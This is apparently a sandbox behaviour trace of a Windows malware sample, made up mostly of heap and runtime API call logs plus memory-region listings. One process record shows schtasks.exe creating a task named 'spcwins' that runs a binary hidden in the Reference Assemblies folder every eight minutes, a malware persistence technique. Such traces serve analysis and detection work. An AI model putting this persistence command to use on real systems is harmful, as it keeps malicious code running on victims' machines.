dwFlags=0x0, lpMem=0x48d5e0 | out: hHeap=0x470000) returned 1 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd00) returned 1 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd00) returned 0x20 [0129.111] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd00 | out: hHeap=0x470000) returned 1 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x4a9cc0) returned 1 [0129.111] GetProcessHeap () returned 0x470000 [0129.111] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4a9cc0) returned 0x82 [0129.112] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4a9cc0 | out: hHeap=0x470000) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccd0) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ccd0) returned 0x20 [0129.112] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ccd0 | out: hHeap=0x470000) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d620) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d620) returned 0xe [0129.112] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d620 | out: hHeap=0x470000) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cca0) returned 1 [0129.112] GetProcessHeap () returned 0x470000 [0129.112] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cca0) returned 0x20 [0129.113] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cca0 | out: hHeap=0x470000) returned 1 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba30) returned 1 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ba30) returned 0x18 [0129.113] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba30 | out: hHeap=0x470000) returned 1 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485a20) returned 1 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485a20) returned 0x20 [0129.113] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485a20 | out: hHeap=0x470000) returned 1 [0129.113] GetProcessHeap () returned 0x470000 [0129.113] GetProcessHeap () returned 0x470000 [0129.114] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485a50) returned 1 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485a50) returned 0x20 [0129.114] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485a50 | out: hHeap=0x470000) returned 1 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485a80) returned 1 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485a80) returned 0x20 [0129.114] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485a80 | out: hHeap=0x470000) returned 1 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] GetProcessHeap () returned 0x470000 [0129.114] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485ab0) returned 1 [0129.114] GetProcessHeap () returned 0x470000 [0129.115] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485ab0) returned 0x20 [0129.115] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485ab0 | out: hHeap=0x470000) returned 1 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba50) returned 1 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ba50) returned 0x18 [0129.115] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba50 | out: hHeap=0x470000) returned 1 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485ae0) returned 1 [0129.115] GetProcessHeap () returned 0x470000 [0129.115] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485ae0) returned 0x20 [0129.116] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485ae0 | out: hHeap=0x470000) returned 1 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485b70) returned 1 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485b70) returned 0x20 [0129.116] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485b70 | out: hHeap=0x470000) returned 1 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485bd0) returned 1 [0129.116] GetProcessHeap () returned 0x470000 [0129.116] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485bd0) returned 0x20 [0129.117] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485bd0 | out: hHeap=0x470000) returned 1 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485c30) returned 1 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485c30) returned 0x20 [0129.117] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485c30 | out: hHeap=0x470000) returned 1 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485c60) returned 1 [0129.117] GetProcessHeap () returned 0x470000 [0129.117] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485c60) returned 0x20 [0129.117] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485c60 | out: hHeap=0x470000) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba70) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ba70) returned 0x18 [0129.118] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba70 | out: hHeap=0x470000) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485ba0) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485ba0) returned 0x20 [0129.118] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485ba0 | out: hHeap=0x470000) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9f0) returned 1 [0129.118] GetProcessHeap () returned 0x470000 [0129.118] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48b9f0) returned 0x18 [0129.118] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9f0 | out: hHeap=0x470000) returned 1 [0129.119] exit (_Code=0) Thread: id = 106 os_tid = 0xec4 Process: id = "11" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x44071000" os_pid = "0xec8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1728 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1729 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1730 start_va = 0x40000 end_va = 0xbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 1731 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1732 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1733 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1734 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1735 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1736 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1737 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1738 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1739 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1740 start_va = 0xd0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1741 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1742 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1743 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1744 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1745 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1746 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1747 start_va = 0x1d0000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1748 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1749 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1750 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1751 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1752 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1753 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1754 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1755 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1756 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1757 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1758 start_va = 0x2d0000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1759 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1760 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1761 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1762 start_va = 0x480000 end_va = 0x607fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 1763 start_va = 0x140000 end_va = 0x168fff monitored = 0 entry_point = 0x141010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1764 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1765 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1766 start_va = 0x610000 end_va = 0x790fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 1767 start_va = 0x7a0000 end_va = 0x1b9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 1768 start_va = 0x140000 end_va = 0x151fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1769 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1770 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 1771 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1772 start_va = 0x1ba0000 end_va = 0x1e6efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1773 start_va = 0x3d0000 end_va = 0x44cfff monitored = 0 entry_point = 0x3dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1774 start_va = 0x3d0000 end_va = 0x44cfff monitored = 0 entry_point = 0x3dcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1775 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1776 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1777 start_va = 0x1e70000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 1778 start_va = 0x1e70000 end_va = 0x1f4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 1779 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 1780 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1781 start_va = 0x2160000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002160000" filename = "" Region: id = 1782 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1783 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1784 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 1785 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1786 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 1787 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1788 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1791 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 107 os_tid = 0xecc [0129.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xbfaa0 | out: lpSystemTimeAsFileTime=0xbfaa0*(dwLowDateTime=0x1c27e9c0, dwHighDateTime=0x1d8a92a)) [0129.397] GetCurrentProcessId () returned 0xec8 [0129.397] GetCurrentThreadId () returned 0xecc [0129.397] GetTickCount () returned 0x1385d32 [0129.398] RtlQueryPerformanceCounter (in: lpPerformanceCount=0xbfaa8 | out: lpPerformanceCount=0xbfaa8*=2060826089170) returned 1 [0129.398] GetModuleHandleW (lpModuleName=0x0) returned 0xff120000 [0129.398] __set_app_type (_Type=0x1) [0129.398] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff14972c) returned 0x0 [0129.398] __wgetmainargs (in: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248, _DoWildCard=0, _StartInfo=0xff16125c | out: _Argc=0xff161240, _Argv=0xff161250, _Env=0xff161248) returned 0 [0129.399] _onexit (_Func=0xff152ab0) returned 0xff152ab0 [0129.399] _onexit (_Func=0xff152ac4) returned 0xff152ac4 [0129.399] _onexit (_Func=0xff152afc) returned 0xff152afc [0129.399] _onexit (_Func=0xff152b58) returned 0xff152b58 [0129.399] _onexit (_Func=0xff152b80) returned 0xff152b80 [0129.399] _onexit (_Func=0xff152ba8) returned 0xff152ba8 [0129.399] _onexit (_Func=0xff152bd0) returned 0xff152bd0 [0129.399] _onexit (_Func=0xff152bf8) returned 0xff152bf8 [0129.400] _onexit (_Func=0xff152c20) returned 0xff152c20 [0129.400] _onexit (_Func=0xff152c48) returned 0xff152c48 [0129.400] _onexit (_Func=0xff152c70) returned 0xff152c70 [0129.400] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0129.400] WinSqmIsOptedIn () returned 0x0 [0129.401] GetProcessHeap () returned 0x1d0000 [0129.401] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1e5490 [0129.401] SetLastError (dwErrCode=0x0) [0129.401] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0129.401] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0129.401] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0129.401] VerifyVersionInfoW (in: lpVersionInformation=0xbf260, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xbf260) returned 1 [0129.401] GetProcessHeap () returned 0x1d0000 [0129.401] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eba20 [0129.401] lstrlenW (lpString="") returned 0 [0129.401] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x2) returned 0x1eba40 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5990 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eba60 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e59c0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e59f0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a20 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a50 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1eba80 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5a80 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ab0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ae0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b10 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x18) returned 0x1ebaa0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b40 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5b70 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5ba0 [0129.402] GetProcessHeap () returned 0x1d0000 [0129.402] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5bd0 [0129.402] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0129.402] SetLastError (dwErrCode=0x0) [0129.402] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c00 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c30 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c60 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5c90 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0xc, Size=0x20) returned 0x1e5cc0 [0129.403] GetProcessHeap () returned 0x1d0000 [0129.403] RtlAllocateHeap 